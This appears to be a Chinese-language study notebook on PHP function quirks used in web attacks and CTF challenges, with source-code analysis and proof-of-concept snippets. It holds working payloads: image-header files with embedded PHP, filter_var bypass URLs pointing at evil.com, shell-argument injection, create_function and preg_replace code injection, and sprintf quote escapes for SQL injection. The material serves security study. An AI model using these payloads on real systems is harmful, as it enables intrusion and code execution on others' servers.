函数

getimagesize图片验证绕过

参考

利用范围

  • (PHP 4, PHP 5, PHP 7)

解析

PHPAPI int php_getimagetype(php_stream * stream, char *filetype TSRMLS_DC)
{
    ...
    if (!memcmp(filetype, php_sig_gif, 3)) {
        return IMAGE_FILETYPE_GIF;
    } else if (!memcmp(filetype, php_sig_jpg, 3)) {
        return IMAGE_FILETYPE_JPEG;
    } else if (!memcmp(filetype, php_sig_png, 3)) {
        ...
    }
}

PHPAPI const char php_sig_gif[3] = {'G', 'I', 'F'};
...
PHPAPI const char php_sig_png[8] = {(char) 0x89, (char) 0x50, (char) 0x4e, (char) 0x47,
                                    (char) 0x0d, (char) 0x0a, (char) 0x1a, (char) 0x0a};

可以看出来 image type 是根据文件流的前几个字节(文件头)来判断的

测试

测试代码

<?php
print_r(getimagesize('test.php'));

利用python脚本生成文件

with open('png.php','wb') as f:
    f.write(b'\x89PNG\r\n\x1a\n<?php phpinfo(); ?>')
with open('gif.php','wb') as f:
    f.write(b'GIF89a<?php phpinfo(); ?>')

测试

<?php
print_r(getimagesize('png.php'));
print_r(getimagesize('gif.php'));

in_array

函数结构

in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) : bool

利用条件

  • $strict=FALSE

    测试代码

    只要第三个参数$strict没有设置成TRUE,就不会进行强检查。

    <?php
    $a=7;
    $b[]='7shell';
    var_dump(in_array($a,$b));
    var_dump(in_array($a,$b,$strict=true));
    

    img

filter_var

函数结构

filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed

FILTER_VALIDATE_URL

参考

测试javascript协议

filter_var('javascript://comment%250Aalert(1)', FILTER_VALIDATE_URL);

上述代码可能会导致XSS攻击。

因为//在JavaScript中表示单行注释,%250a解码后为换行符,所以alert(1)//不在一行,js代码成功执行。

测试代码

<?php
$url = filter_var($_GET['url'],FILTER_VALIDATE_URL);
var_dump($url);
$url=htmlspecialchars($url);
var_dump($url);
echo "<a href='$url'>Next slide </a>";

利用filter_var和curl的差异

利用条件

  • curl<=7.47.0(win下7.55.1不可用)

测试代码

在如下脚本中:

<?php
   $url = $_GET['url'];
   echo "Argument: ".$url."\n";
   if(filter_var($url, FILTER_VALIDATE_URL)) {
      $r = parse_url($url);
      var_dump($r);
      if(preg_match('/skysec\.top$/', $r['host'])) {
          echo 'start curl';
         exec('curl -v -s "'.$r['host'].'"', $a);
      } else {
         echo "Error: Host not allowed";
      }
   } else {
      echo "Error: Invalid URL";
   }
?>

可用payload:

访问evil.com:2333
?url=0://evil.com:23333;skysec.top:80/
访问evil.top
?url=0://evil.com$skysec.top
访问evil.com:80
?url=0://evil.com:80$skysec.top

FILTER_VALIDATE_EMAIL

参考

测试

测试代码如下,绕过方法为:"Joe'Blow"@example.com,逃逸单引号。

<?php
$email = '"Joe\'Blow"@example.com';
if (filter_var($email, FILTER_VALIDATE_EMAIL))
        var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
else
        echo "email not correct";

//C:\Users\j7ur8\Desktop\test.php:4:string(22) ""Joe'Blow"@example.com"
?>

strpos

参考文章

函数结构

strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) : int

使用缺陷

如果查询到的字符在第一位,那么返回为数字为0;而查询不到的结果也为false。 0和false取反皆为true,如果不注意就有可能造成错误。

测试代码

<?php
print(strpos('baa','b'));
# 0
?>

escapeshellarg和escapeshellcmd

参考文章

函数结构

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数 escapeshellcmd — shell 元字符转义

escapeshellarg ( string $arg ) : string
escapeshellcmd ( string $command ) : string

利用

mail()函数底层实现了escapeshellcmd函数,对用户输入的邮箱进行检测。 但是如果escapeshellcmd和escapeshellarg一起使用,就会造成特殊字符逃逸。

测试代码

<?php
$param="127.0.0.1' -v -d a=1";
$a=escapeshellarg($param);
$b=escapeshellcmd($a);
$cmd="curl ".$b;
var_dump($a)."\n";
var_dump($a)."\n";
var_dump($cmd)."\n";
?>

分析如下:

但是windows测试如下,有点问题,没有深究

parse_str

参考文章

函数构造

parse_str ( string $encoded_string [, array &$result ] ) : void

版本变化

版本 说明
7.2.0 不带第二个参数的情况下使用 parse_str() 会产生 E_DEPRECATED 警告。

测试

parse_str的作用就是解析字符串并且注册成变量,但是在注册变量之前,他不会验证当前变量是否存在,所以会覆盖掉当前作用域中原有的变量。

<?php
$j7ur8='best';
parse_str('j7ur8=didi');
echo $j7ur8; 
# didi php<7.2
# PHP Deprecated:  parse_str(): Calling parse_str() without the result argument is deprecated       PHP7.2

CTF题目

index.php

<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo '<a href="uploadsomething.php">flag is here</a>';
}
?>

uploadsomething.php

<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
    $savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
    if (!is_dir($savepath)) {
        $oldmask = umask(0);
        mkdir($savepath, 0777);
        umask($oldmask);
    }
    if ((@$_GET['filename']) && (@$_GET['content'])) {
        //$fp = fopen("$savepath".$_GET['filename'], 'w');
        $content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
        file_put_contents("$savepath" . $_GET['filename'], $content);
        $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
        usleep(100000);
        $content = "Too slow!";
        file_put_contents("$savepath" . $_GET['filename'], $content);
    }
   print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
    echo 'you can not see this page';
}
?>

preg_replace

参考文章

利用条件

  • PHP<7

函数结构

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

利用

$pattern 存在/e模式修正符,允许代码执行。

测试代码

<?php
var_dump(preg_replace('/(.*)/ie','strtolower("\1")','{${phpinfo()}}'));
?>

以上代码能执行除了preg_replace/e修饰符可以执行代码外,还一个原因是strtolower函数使用了""。我们知道""内部是可以引用变量的。如:

<?php
$a='asfd';
echo "$a";  #asf

unserialize绕过

绕过__wake魔术方法

参考

利用范围

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

测试

demo.php

class Demo
{
    public $data;
    public function __construct($data)
    {
        $this->data = $data;
        echo "construct<br />";
    }
    public function __wakeup()
    {
        echo "wake up<br />";
    }
    public function __destruct()
    {
        echo "Data's value is $this->data. <br />";
        echo "destruct<br />";
    }
}
var_dump(serialize(new Demo("raw value")));

结果

construct
Data's value is raw value. 
destruct
string 'O:4:"Demo":1:{s:4:"data";s:9:"raw value";}' (length=42)

绕过:

unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');
unserialize('O:4:"Demo":2:{s:4:"data";s:15:"malicious value";}');

分别测试上述代码,得到

绕过正则检测

参考

解析

PHP相关源码

在PHP源码var_unserializer.c,对反序列化字符串进行处理,在代码568行对字符进行判断,并调用相应的函数进行处理,当字符为’O'时,调用 yy13 函数,在 yy13 函数中,对‘O‘字符的下一个字符进行判断,如果是’:',则调用 yy17 函数,如果不是则调用 yy3 函数,直接return 0,结束反序列化。接着看 yy17 函数。通过观察yybm[]数组可知,第一个if判断是否为数字,如果为数字则跳转到 yy20 函数,第二个判断如果是’+'号则跳转到 yy19 ,在 yy19 中,继续对 +号 后面的字符进行判断,如果为数字则跳转到 yy20 ,如果不是则跳转到 yy18y18 最终跳转到 yy3 ,退出反序列化流程。由此,在’O:’,后面可以增加’+',用来绕过正则判断。

绕过了过滤以后,接下来考虑怎样对反序列化进行利用,反序列化本质是将序列化的字符串还原成对应的类实例,在该过程中,我们可控的是序列化字符串的内容,也就是对应类中变量的值。我们无法直接调用类中的函数,但PHP在满足一定的条件下,会自动触发一些函数的调用,该类函数,我们称为魔术方法。通过可控的类变量,触发自动调用的魔术方法,以及魔术方法中存在的可利用点,进而形成反序列化漏洞的利用。

htmlentities

参考文章

函数结构

string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )

测试

htmlentities默认情况下只会过滤双引号

<?php
$a=<<<EOF
aaa'aaa"aaa
EOF;
echo htmlentities($a);

rand

参考文章

函数结构

rand ( void ) : int ;  rand ( int $min , int $max ) : int

解析

拿到种子或者随机数可以实用工具进行爆破

工具

参考

测试

一般情况,我们使用mt_srand(534142874 ); echo mt_rand(), "\n";生成的伪随机数,可以简单的使用

php_mt_seed 1328851649

得到结果: 可以发现得到了很多结果,参见README手册我们可以得知

改善命令

time php_mt_seed 1328851649 1328851649 0 2147483647  1423851145

虽然速度没有太多提升,但是派出了多余的值。

在上面同时介绍了高级用法,当出现了4个以上的参数时,php_mt_seed将把参数分成4个一组。每组按照处理4个的方法进行处理(见图片)。

CTF

<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
    mt_srand($_SESSION['seed']);
    $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $auth='';
    $len=15;
    for ( $i = 0; $i < $len; $i++ ){
        if($i<=($len/2))
              $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
        else
              $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
    }
    setcookie('Auth', $auth);
}
//support
    if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
        if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
               //执行命令
        }else {
              //flag字段和某些字符被过滤!
        }
    }else{
             // 你的输入不正确!
    }
?>

此代码根据生成的(0,61)之间伪随机数,截取$str_rand字符凭借生成优惠码。我们拥有优惠码,字典$str_rand。所以我们可以获取每次生成的伪随机数。

exp.py

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='SUjJQvy1e2NyihU'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    if i<=length/2:
        for j in range(len(str1)):
            if str2[i] == str1[j]:
                res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
                break
    else:
        for j in range(len(str3)):
            if str2[i] == str1[j]:
                res+=str(len(str1)-j)+' '+str(len(str1)-j)+' '+'0'+' '+str(len(str1)-1)+' '
                break
print(res)
# 54 54 0 61 56 56 0 61 9 9 0 61 45 45 0 61 52 52 0 61 21 21 0 61 24 24 0 61 27 27 0 61 58 58 0 61 34 34 0 61 13 13 0 61 38 38 0 61 54 54 0 61 55 55 0 61 6 6 0 61

使用php_mt_seed爆破:

php_mt_seed 54 54 0 61 56 56 0 61 9 9 0 61 45 45 0 61 52 52 0 61 21 21 0 61 24 24 0 61 27 27 0 61 58 58 0 61 34 34 0 61 13 13 0 61 38 38 0 61 54 54 0 61 55 55 0 61 6 6 0 61

extract

参考文章

函数结构

extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int

解析

因为$flags的默认参数是EXTR_OVERWRITE,可能导致变量覆盖漏洞

测试

测试代码

<?php
$j7ur8='best';
$arr['j7ur8']='the best';
extract($arr);
print_r($j7ur8);  # the best

extract将数组$arr中对应的key=>value注册成$key=value。而由于extract函数的$flags默认值为EXTR_OVERWRITE,所以会覆盖已存在的的相同变量的值。

create_function

参考文章

函数结构

create_function ( string $args , string $code ) : string

Challenge 1

index.php

<?php
create_function('$a',$_GET['arg']);
?>

查看源码知道create_function采用拼接参数构造匿名函数,然后通过eval执行匿名函数(可以这样理解)

ZEND_FUNCTION(create_function)
{
    zend_string *function_name;
    char *eval_code, *function_args, *function_code;
    size_t eval_code_length, function_args_len, function_code_len;
    int retval;
    char *eval_name;

    if (zend_parse_parameters(ZEND_NUM_ARGS(), "ss", &function_args, &function_args_len, &function_code, &function_code_len) == FAILURE) {
        return;
    }

    eval_code = (char *) emalloc(sizeof("function " LAMBDA_TEMP_FUNCNAME)
            +function_args_len
            +2    /* for the args parentheses */
            +2    /* for the curly braces */
            +function_code_len);

    eval_code_length = sizeof("function " LAMBDA_TEMP_FUNCNAME "(") - 1;
    memcpy(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(", eval_code_length);

    memcpy(eval_code + eval_code_length, function_args, function_args_len);
    eval_code_length += function_args_len;

    eval_code[eval_code_length++] = ')';
    eval_code[eval_code_length++] = '{';

    memcpy(eval_code + eval_code_length, function_code, function_code_len);
    eval_code_length += function_code_len;

    eval_code[eval_code_length++] = '}';
    eval_code[eval_code_length] = '\0';

    eval_name = zend_make_compiled_string_description("runtime-created function");
    retval = zend_eval_stringl(eval_code, eval_code_length, NULL, eval_name);
    efree(eval_code);
    efree(eval_name);

    if (retval==SUCCESS) {
        zend_op_array *func;
        HashTable *static_variables;

        func = zend_hash_str_find_ptr(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
        if (!func) {
            zend_error_noreturn(E_CORE_ERROR, "Unexpected inconsistency in create_function()");
            RETURN_FALSE;
        }
        if (func->refcount) {
            (*func->refcount)++;
        }
        static_variables = func->static_variables;
        func->static_variables = NULL;
        zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
        func->static_variables = static_variables;

        function_name = zend_string_alloc(sizeof("0lambda_")+MAX_LENGTH_OF_LONG, 0);
        ZSTR_VAL(function_name)[0] = '\0';

        do {
            ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
        } while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
        RETURN_NEW_STR(function_name);
    } else {
        zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
        RETURN_FALSE;
    }
}

arg为可控参数,我们可以构造如下payload

/?arg=}phpinfo();{

调试源码克制构造的函数为:

结果:

Challenge 2

若第一个参数可控

<?php
create_function($_GET['arg'],'');

可构造

/?arg=){}phpinfo();{}%23

结果为:

测试代码

<?php
error_reporting(0);

$_GET['arg1']='){}echo "arg1\n";{}#';
create_function($_GET['arg1'],'');

$_GET['arg2']='}echo "arg2\n";{';
create_function('',$_GET['arg2']);

parse_url

参考

错误的解析hostname

参考

利用范围

  • PHP5.x < php5.6.28
  • PHP7.0 < php7.0.13

测试代码

demo.php

<?php
echo parse_url("http://example.com:80#@google.com/")["host"]."\n"; #google.com
echo parse_url("http://example.com:80?@google.com/")["host"]."\n"; #google.com
echo file_get_contents("http://example.com:80#@google.com");       # example.com 
?>

不解析有端口但没有协议网址

参考

利用范围

  • PHP5.6 < PHP5.6.8
  • PHP5.5 < PHP5.5.24
  • PHP5.4.x

测试代码

demo.php

<?php
print_r(parse_url('//example.org:81/hi?a=b#c=d'));   // 
print_r(parse_url('//example.org/hi?a=b#c=d'));   //Array([host] => example.org [path] => /hi [query] => a=b [fragment] => c=d )

无法解析空用户名和密码

参考

利用范围

  • PHP5.6 < PHP5.6.3
  • PHP5.5 < PHP5.5.19
  • PHP5.4.x

测试代码

demo.php

<?php
// correct (returns empty username)
var_dump( parse_url( 'https://@example.com' ) );
// incorrect (doesn't return empty username or password)
var_dump( parse_url( 'https://:@example.com' ) );
// incorrect (doesn't return empty username)
var_dump( parse_url( 'https://:password@example.com' ) );
// incorrect (doesn't return empty password)
var_dump( parse_url( 'https://username:@example.com' ) );

对于//的解析错误

参考

利用范围

  • php5.x < php5.4.7

测试代码

demo.php

<?php
var_dump(parse_url('//example.org'));  # array(1) {'path' => string(14) "//example.org"}
var_dump(parse_url('http:/xxx.com/abc//def?g=1&e=2'))['path'] // def?g=1&e=2
var_dump(parse_url('http:/xxx.com/abc///def?g=1&e=2'))['path'] // FALSE

curl和parse_url的解析顺序问题

利用范围

  • 全版本
  • libcurl 7.52,windows下的curl-7.55.1版本会报错curl: (3) Port number ended with '@'

测试代码

demo.php

<?php
var_dump(parse_url('http://u:p@a.com:80@b.com/'));  //host: b.com
system('curl http://u:p@a.com:80@b.com/')  //couldn't resolve host a.com

绕过mime_content_type函数

参考

解析

一番搜索有2中方法可以绕过。

首先是php的issue,关于<?[空格]可被检测为text/plain的问题。

其次是minme_content_type检测的是文件头,可以制造一个合法的图片头+恶意文件内容的图片

with open('1.jpg','wb') as f:
    f.write(b'\x89PNG\r\n\x1a\n')
print(b'\x89PNG')

采用以上方法来制作一个合法图片头的头片。

以下为几种图片类型的最短可过检测的字符串。

  • png->\x89PNG\r\n\x1a\n,如果取在\n前面,那么mine_content_type()函数将检测为application/octet-stream
  • jpg->\xFF\xD8
  • gif->\x47\x49\x46\x38
  • svg直接text写以下内容即可。
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
 "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg">
</svg>

assert

参考

函数构造

PHP5:
assert ( mixed $assertion [, string $description ] ) : bool

PHP7:
assert ( mixed $assertion [, Throwable $exception ] ) : bool

版本更新

  • PHP >= 5.4.8,description 可作为第四个参数提供给 ASSERT_CALLBACK 模式里的回调函数
  • 在 PHP 5 中,参数 assertion 必须是可执行的字符串,或者运行结果为布尔值的表达式
  • 在 PHP 7 中,参数 assertion 可以是任意表达式,并用其运算结果作为断言的依据
  • 在 PHP 7 中,参数 exception 可以是个 Throwable 对象,用于捕获表达式运行错误或断言结果为失败。(当然 assert.exception 需开启)
  • PHP >= 7.0.0,支持 zend.assertionsassert.exception 相关配置及其特性
  • PHP >= 7.2 版本开始,参数 assertion 不再支持字符串

PHP7增加了断言的Expectations,提供了灵活的调试策略。另外提供了两组php.ini的配置。

Directive Default value Possible values
zend.assertions 1 1: generate and execute code (development mode) 0: generate code but jump around it at runtime -1: do not generate code (production mode)
assert.exception 0 1: throw when the assertion fails, either by throwing the object provided as the exception or by throwing a new AssertionError object if exception wasn't provided 0: use or generate a Throwable as described above, but only generate a warning based on that object rather than throwing it (compatible with PHP 5 behaviour)

自定义断言异常处理函数

测试

<?php
// 激活断言,并设置它为 quiet
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1);

//创建处理函数
function my_assert_handler($file, $line, $code)
{
    echo "<hr>Assertion Failed:
        File '$file'<br />
        Line '$line'<br />
        Code '$code'<br /><hr />";
}

// 设置回调函数
assert_options(ASSERT_CALLBACK, 'my_assert_handler');

// 让一则断言失败
$asse=2<1;
assert($asse);
?>

上述代码运行结果如下:

<hr>Assertion Failed:
        File 'C:\Users\j7ur8\Desktop\test2.php'<br />
        Line '21'<br />
        Code ''<br /><hr />

PHP7.2弃用将一个字符串参数当作assert()的参数。

mb_strtolower与mb_strtoupper

参考:

我们可以见如下demo:

<?php
var_dump(mb_strtolower('İ') === 'i');
# bool(true)

mb_strtolower函数把 İ 转化成了英文小写字母 i 。使用网站我们可以知道 İ 是 Latin Capital Letter I with Dot Abov,属于 Unicode Block “Latin Extended-A”。因此我们可以进一步测试有多少个 Unicode 字符存在这种情况。

1.生成 unicode_set.txt

import traceback
def print_unicode3(start, end):
    #'wb' must be set, or f.write(str) will report error
    with open('unicode_set.txt', 'wb') as f:
        loc_start = start
        ct = 0
        while loc_start <= end:
            try:
                tmpstr = hex(loc_start)[2:]
                od = (4 - len(tmpstr)) * '0' + tmpstr # 前补0
                ustr = chr(loc_start) #
                index = loc_start - start + 1
                # line = (str(index) + '\t' + '0x' + od + '\t' + ustr + '\r\n').encode('utf-8')
                line = ('"\\u' + od + '"\n').encode('utf-8')
                f.write(line)
                loc_start = loc_start + 1
            except Exception as e:
                traceback.print_exc()
                loc_start += 1
                print(loc_start)

def expect_test(expected, actual):

    if expected != actual:
        print('expected ', expected, 'actual', actual)

# 测试:
print_unicode3(0x0000, 0xffff)

2.测试

<?php

$a=file_get_contents('unicode_set.txt');

$unicode_set_array = explode("\n",$a);

$list='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';

for($i=0; $i<count($unicode_set_array); $i++){
    $deocde_str=json_decode($unicode_set_array[$i]);
    $visible_char = empty($deocde_str)?False:$deocde_str;

    $lower = mb_strtolower($visible_char);
    $upper = mb_strtoupper($visible_char);

    $lower = empty($lower)?False:$lower;
    $upper = empty($upper)?False:$upper;

    if(strpos($list, $visible_char) !== false){
        continue;
    }elseif (strpos($list, $lower) !== false) {
        echo $unicode_set_array[$i]." $visible_char > $lower\n";
    }elseif (strpos($list, $upper) !== false) {
        echo $unicode_set_array[$i]." $visible_char < $upper\n";
    }
}

3.结果

unicode编码 字符1 字符2 函数
"\u0130" İ i mb_strtolower
"\u0131" ı I mb_strtoupper
"\u017f" ſ S mb_strtoupper
"\u212a" k mb_strtolower

sprintf格式化字符串漏洞

测试demo:

<?php
$sql = "select * from user where username = '%1$' and password='%s';";
$args = "3925" ;
echo  sprintf ($sql , $args) ;
/*
select * from user where username = 'nd password='3925';
*/

​ 发现' a三个字符消失了,单引号被吞掉,导致存在sql注入风险。

分析

​ 环境:VSCode+php7.4.19

​ 在php_formatted_print函数处下断点,调用栈为:

php!php_formatted_print (/Users/j7ur8/Desktop/PHP_UAF/php-7.4.19/ext/standard/formatted_print.c:396)
php!zif_user_sprintf (/Users/j7ur8/Desktop/PHP_UAF/php-7.4.19/ext/standard/formatted_print.c:678)
.......
php!main (/Users/j7ur8/Desktop/PHP_UAF/php-7.4.19/sapi/cli/php_cli.c:1359)
libdyld.dylib!start (Unknown Source:0)

​ 函数构造为:

php_formatted_print(zval *z_format, zval *args, int argc)
{
    size_t size = 240, outpos = 0;
    int alignment, currarg, adjusting, argnum, width, precision;
    char *format, *temppos, padding;
    zend_string *result;
    int always_sign;
    size_t format_len;

    if (!try_convert_to_string(z_format)) {
        return NULL;
    }

    format = Z_STRVAL_P(z_format);
    format_len = Z_STRLEN_P(z_format);
    result = zend_string_alloc(size, 0);

    currarg = 0;

    while (format_len) {
        int expprec;
        zval *tmp;

        temppos = memchr(format, '%', format_len);
        if (!temppos) {
            php_sprintf_appendchars(&result, &outpos, format, format_len);
            break;
        } else if (temppos != format) {
            php_sprintf_appendchars(&result, &outpos, format, temppos - format);
            format_len -= temppos - format;
            format = temppos;
        }
        format++;            /* skip the '%' */
        format_len--;

        if (*format == '%') {
            php_sprintf_appendchar(&result, &outpos, '%');
            format++;
            format_len--;
        } else {
            /* starting a new format specifier, reset variables */
            alignment = ALIGN_RIGHT;
            adjusting = 0;
            padding = ' ';
            always_sign = 0;
            expprec = 0;

            PRINTF_DEBUG(("sprintf: first looking at '%c', inpos=%d\n",
                          *format, format - Z_STRVAL_P(z_format)));
            if (isalpha((int)*format)) {
                width = precision = 0;
                argnum = currarg++;
            } else {
                /* first look for argnum */
                temppos = format;
                while (isdigit((int)*temppos)) temppos++;
                if (*temppos == '$') {
                    argnum = php_sprintf_getnumber(&format, &format_len);

                    if (argnum <= 0) {
                        zend_string_efree(result);
                        php_error_docref(NULL, E_WARNING, "Argument number must be greater than zero");
                        return NULL;
                    }
                    argnum--;
                    format++;  /* skip the '$' */
                    format_len--;
                } else {
                    argnum = currarg++;
                }

                /* after argnum comes modifiers */
                PRINTF_DEBUG(("sprintf: looking for modifiers\n"
                              "sprintf: now looking at '%c', inpos=%d\n",
                              *format, format - Z_STRVAL_P(z_format)));
                for (;; format++, format_len--) {
                    if (*format == ' ' || *format == '0') {
                        padding = *format;
                    } else if (*format == '-') {
                        alignment = ALIGN_LEFT;
                        /* space padding, the default */
                    } else if (*format == '+') {
                        always_sign = 1;
                    } else if (*format == '\'' && format_len > 1) {
                        format++;
                        format_len--;
                        padding = *format;
                    } else {
                        PRINTF_DEBUG(("sprintf: end of modifiers\n"));
                        break;
                    }
                }
                PRINTF_DEBUG(("sprintf: padding='%c'\n", padding));
                PRINTF_DEBUG(("sprintf: alignment=%s\n",
                              (alignment == ALIGN_LEFT) ? "left" : "right"));


                /* after modifiers comes width */
                if (isdigit((int)*format)) {
                    PRINTF_DEBUG(("sprintf: getting width\n"));
                    if ((width = php_sprintf_getnumber(&format, &format_len)) < 0) {
                        efree(result);
                        php_error_docref(NULL, E_WARNING, "Width must be greater than zero and less than %d", INT_MAX);
                        return NULL;
                    }
                    adjusting |= ADJ_WIDTH;
                } else {
                    width = 0;
                }
                PRINTF_DEBUG(("sprintf: width=%d\n", width));

                /* after width and argnum comes precision */
                if (*format == '.') {
                    format++;
                    format_len--;
                    PRINTF_DEBUG(("sprintf: getting precision\n"));
                    if (isdigit((int)*format)) {
                        if ((precision = php_sprintf_getnumber(&format, &format_len)) < 0) {
                            efree(result);
                            php_error_docref(NULL, E_WARNING, "Precision must be greater than zero and less than %d", INT_MAX);
                            return NULL;
                        }
                        adjusting |= ADJ_PRECISION;
                        expprec = 1;
                    } else {
                        precision = 0;
                    }
                } else {
                    precision = 0;
                }
                PRINTF_DEBUG(("sprintf: precision=%d\n", precision));
            }

            if (argnum >= argc) {
                efree(result);
                php_error_docref(NULL, E_WARNING, "Too few arguments");
                return NULL;
            }

            if (*format == 'l') {
                format++;
                format_len--;
            }
            PRINTF_DEBUG(("sprintf: format character='%c'\n", *format));
            /* now we expect to find a type specifier */
            tmp = &args[argnum];
            switch (*format) {
                case 's': {
                    zend_string *t;
                    zend_string *str = zval_get_tmp_string(tmp, &t);
                    php_sprintf_appendstring(&result, &outpos,
                                             ZSTR_VAL(str),
                                             width, precision, padding,
                                             alignment,
                                             ZSTR_LEN(str),
                                             0, expprec, 0);
                    zend_tmp_string_release(t);
                    break;
                }

                case 'd':
                    php_sprintf_appendint(&result, &outpos,
                                          zval_get_long(tmp),
                                          width, padding, alignment,
                                          always_sign);
                    break;

                case 'u':
                    php_sprintf_appenduint(&result, &outpos,
                                          zval_get_long(tmp),
                                          width, padding, alignment);
                    break;

                case 'g':
                case 'G':
                case 'e':
                case 'E':
                case 'f':
                case 'F':
                    php_sprintf_appenddouble(&result, &outpos,
                                             zval_get_double(tmp),
                                             width, padding, alignment,
                                             precision, adjusting,
                                             *format, always_sign
                                            );
                    break;

                case 'c':
                    php_sprintf_appendchar(&result, &outpos,
                                        (char) zval_get_long(tmp));
                    break;

                case 'o':
                    php_sprintf_append2n(&result, &outpos,
                                         zval_get_long(tmp),
                                         width, padding, alignment, 3,
                                         hexchars, expprec);
                    break;

                case 'x':
                    php_sprintf_append2n(&result, &outpos,
                                         zval_get_long(tmp),
                                         width, padding, alignment, 4,
                                         hexchars, expprec);
                    break;

                case 'X':
                    php_sprintf_append2n(&result, &outpos,
                                         zval_get_long(tmp),
                                         width, padding, alignment, 4,
                                         HEXCHARS, expprec);
                    break;

                case 'b':
                    php_sprintf_append2n(&result, &outpos,
                                         zval_get_long(tmp),
                                         width, padding, alignment, 1,
                                         hexchars, expprec);
                    break;

                case '%':
                    php_sprintf_appendchar(&result, &outpos, '%');

                    break;

                case '\0':
                    if (!format_len) {
                        goto exit;
                    }
                    break;

                default:
                    break;
            }
            format++;
            format_len--;
        }
    }

函数使用while (format_len)语句循环对字符串以%出现的位置进行截取,然后进行格式化处理。

进入断点后,对tempos、format和format_len函数添加WATCH。可以看到在第一次while循环中,417行memchr函数对format进行了第一次截取得到字符串: %1$' and password='%s';

​ 进入else if判断,对format进行复制后,忽略字符%。可以看到左侧format与tempos变量对比少了一个字符%。(在429行进一步判断是否存在字符%,有则返回返回字符%;否则继续执行。429行的判断正是%%返回%的判断逻辑。这里不存在%,进入434行else判断。)

443行进行isalpha判断,失败,进入isdigit判断,对tempos赋值,判断首字母是否为数字,是数字则抛弃。得到字符串:$' and password='%s';

450-463判断符号$是否存在,存在则抛弃format变量中的$。这里存在,抛弃,得到字符串:' and password='%s';

​ 469-485判断字符中是否存在字符- +',存在则抛弃。这里存在,抛弃,得到字符串:and password='%s';

​ 为啥抛弃了两个字符`和'呢,因为else if判断执行了一次format++后,for循环也执行了一次format++`。

之后进入540行,由于不存在对应于字符a的规则,直接抛弃字符a,得到字符串:nd password='%s'

然后进入下一次while循环处理%s。(此处不再分析)

利用方法

​ 主要利用来逃逸单引号及利用字符c逃逸单个ascii字符。

逃逸单引号

<?php
$sql = "select * from user where username = '%1$' and password='%s';";
$args = "3925" ;
echo  sprintf ($sql , $args) ;
/*
select * from user where username = 'nd password='3925';
*/

逃逸ascii字符

<?php
$sql = "select * from user where username = '%1\$c' and password='%s';";
$args = "3925" ;
echo  sprintf ($sql , $args) ;

​ 这里格式化3925的结果为85(U)的原因如下图:

扩展

在533-536存在对字符l的判断,允许我们逃逸单引号的情况下保持字符串完整。

            if (*format == 'l') {
                format++;
                format_len--;
            }

测试demo

<?php
$sql = "select * from user where username = '%1\$l' and password='%s';";
$args = "3925" ;
echo  sprintf ($sql , $args) ;
/*
select * from user where username = ' and password='3925';
*/

参考

results matching ""

    No results matching ""